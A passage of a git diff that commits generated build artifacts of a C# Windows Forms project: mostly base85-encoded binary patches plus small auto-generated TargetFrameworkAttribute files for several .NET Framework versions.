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 literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs new file mode 100644 index 0000000..5d01041 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] diff --git a/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs new file mode 100644 index 0000000..e5dc9b8 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] diff --git a/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs new file mode 100644 index 0000000..edc4647 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.2", FrameworkDisplayName = ".NET Framework 4.6.2")] diff --git a/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..3871b18 --- /dev/null +++ b/Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Csharp/WindowsFormsApp1/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/Csharp/WindowsFormsApp1/obj/Debug/DesignTimeResolveAssemblyReferences.cache new file mode 100644 index 0000000000000000000000000000000000000000..c2ff7f17b2bd7fe10545883f301e119d09cec06a GIT binary patch literal 1982 zcmchYO>YuG7{_-^Q?W^XNlY4Vd(cD^+y%M?-GnxTf{CW4u?@XU(!lb7V`q2C%x(cM z_1ddn!;5<9C-4)P#(48P=)qf^8Cbw=H-c1$uq^ZPpZ`41^UExvl%{E@Rkraq^V_WM z>QzF4>-T$)@(=I}XaNJy0lmaIxD85x<1OMapZl!nSetmvz>`d&Fz{U0(H>%S)Y37B`58H=z->&kY&S19ifC$1CQCPhV3Ap_}pbgAm9t zOf(r5bR-@NZ^VoEMb(zbf^C{+#WtlKb704e%bCKCsqCB^l6I7shMvTirS%#xPJFMJ z74a9Jv|bKr5Hcuw5C*JH)B1KO((OEh{;q!jUeOCF70xuYARh>&T<-Xcl7{M#Bk`tA zBs*2sHC1URuW{{;_3e1nEtGB#>ttxsP_dp{b#b6Nx6bvbidnr&y!K3b?>F|3Zk;aK z2mf^Ov{qVNT?6EmO!9lDPZ1cWtHl zWysxV_Fw2HAeE$_pB|~2YrWcsUT1{T+0MheCj*pH(cqK_tOm|r+sA@24$V5LBbzdqdK#ij*R(x$xzMga~#!oJv)MD3~ zdRtt~;_kWrldIA$>Z#2cF$+S0ZKM*QZ#EpmRSCGVch|Yu)i>*BI>sAH*3d$v)ue*D z&_*?T3zDdq0W#qXGCFCD6DU(>hE}C7_CP(jxVs>9!{to^JiD;%XtS+_>q^?7wN$TB zdSOr}bh-8ta5e(p2oKsz&T?v5NlynFHlPLyd}LKr(nF>nk<$&;=?%@ohS)G;vDh%u zp?Eyb@Pjlq^w&tKsSSAOp18lZA&0Ym0UwmGt#@dw54r8_OQzt7*y3&g>s+W0&$?4f zMhU;3NqgFs$`#e#8Jqv#M{IGCFW3vub1&!SA^YNGC3Be^pQ)%(*rC#2vwr66;_-ot zM&U)>(-Z~s&)lc_e1HZH8ifxH9JF5-XC+Q?aB>*QSTaG)5h554#FE#L;MXXTB#|*9 z<4DHXb)+#if#l86Mmus^Dq$dfz!j9c!EV`FTi)!(keU5?Ya!DKK-Y2mV4*c!vWtTmUN%e_o~ zh5yIKQe;2+uqh(ef$%+t-Ntspa$J{9hb=gS6q%UhVHDRty-MX8-xs#@EhKCP7yNwH z0*vr5doURNmP=p^##!3Jusv+BS>*8KDh_CB3n4M1U|-|>dVZ;lOzW6Eq{Cz){pj$; z^T*|`rPJ;0B*@;jcMW;k0m@{}-ZU#;qOA^1bQi&PA^__|nIXtM1gS;<(hY(YggEyR z$3%xy;D%d7aF2VrV2GTKR>KgPJo*9R>_(^|G+f#Az&D{*-ym8gIy6$~TZDka?u>h-(lhA@w! z-7124C;UGMD?u0UAY2@Ti+wGO^gG)MgPa{KNO^i>M~gpUbZ5U+A;pn@65WgNe8Ff? z4WiocCkt0m_zVaM6oAq9vN>( ou-Qd!a|hFsRG6e8$hB~XY5VCJ{(JDcy6UH_!RxB~6GLVEKLy=tN&o-= literal 0 HcmV?d00001 diff --git a/Csharp/WindowsFormsApp1/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll b/Csharp/WindowsFormsApp1/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll new file mode 100644 index 0000000000000000000000000000000000000000..ed71289db83be1eecc234b325be87c704d1aa6ce GIT binary patch literal 3584 zcmeHJU1%It6#njHvst%kn{2hTSajMnk{=xsQmMrs^0To`ZEVe^DUoVAJA1R4IyCm(+mEdWyNSFQl3IjT0S>A#a@s@L3kW(_{P<^1N;V$b=_(+h57R>Pni z+7;8WeLslJqBO&rZ@Rvj-&-&%K}lMxS7)~-uJ?@tdxU`}_nx&It6jhrbCnnXvP6tJ z`b7^%lYN*S=+HcMDsI&pBMwnW=Cok=xH47$%`p)b#I{Jkd+Y4==`hfKea*k4CXiWS zk)gb6g>1!gF{b>LGNNu}u9S2$fkRd(y}(Ig7$&T8yCxvQqeO40z0dqrQ?VIn#qTEY zTpJ)1cmwS&qlX!BaC6k=+P zWo1IgqlMk0BFR*h^vE`Az#1AD8dO2E79QyWSLiwhe8cgg;tO%;`sGMjoNEP!Id<(Y zpq)#oW7f5E|3seSCd!AHO4q0t6e+95>Egg`?+B(0ToOZAU$1i~MTVq1ORpnhu=+?S zob$9!opHLMW4sd)J{X$3~2hRvDV1qW#Ve3`g-+>b>MB|6Js+mqM`%mDc#E`Te$__ ziN{Ev#(q*0v)E^<*)MFE<*EV)we))C9^(m0?9`Y}Od z0ItSQU>z-baX$_Sizn|mEF!Ov-i}ikLl-_G?Z-vZA<_wL>1f`e_A)kMJ04(Mf)!Ca zIA|OpUBa`ZKN`!_7{pa?rA>-d-Mu!XmTB;pc8cY_`nFNCOP`8sv9Ie}qh>xZ8I)?C zd}Yi?woDhK~mR{z!(`Q!4k(3D>OK zRMgkjflf)!UesLF)F+iuW>ghj&yAOw+9S4ClPql%%ZjCJ0$=(uYcDDj zR8pPD%FDe8{kg9H@4><{R=oH=RN6Y zvt*wp{P{rdX(K}VwOQAO8&%kRP)|+m5G;q=N2-S;@4Rc5{UC~6Cu+<~s-{b#<`rak 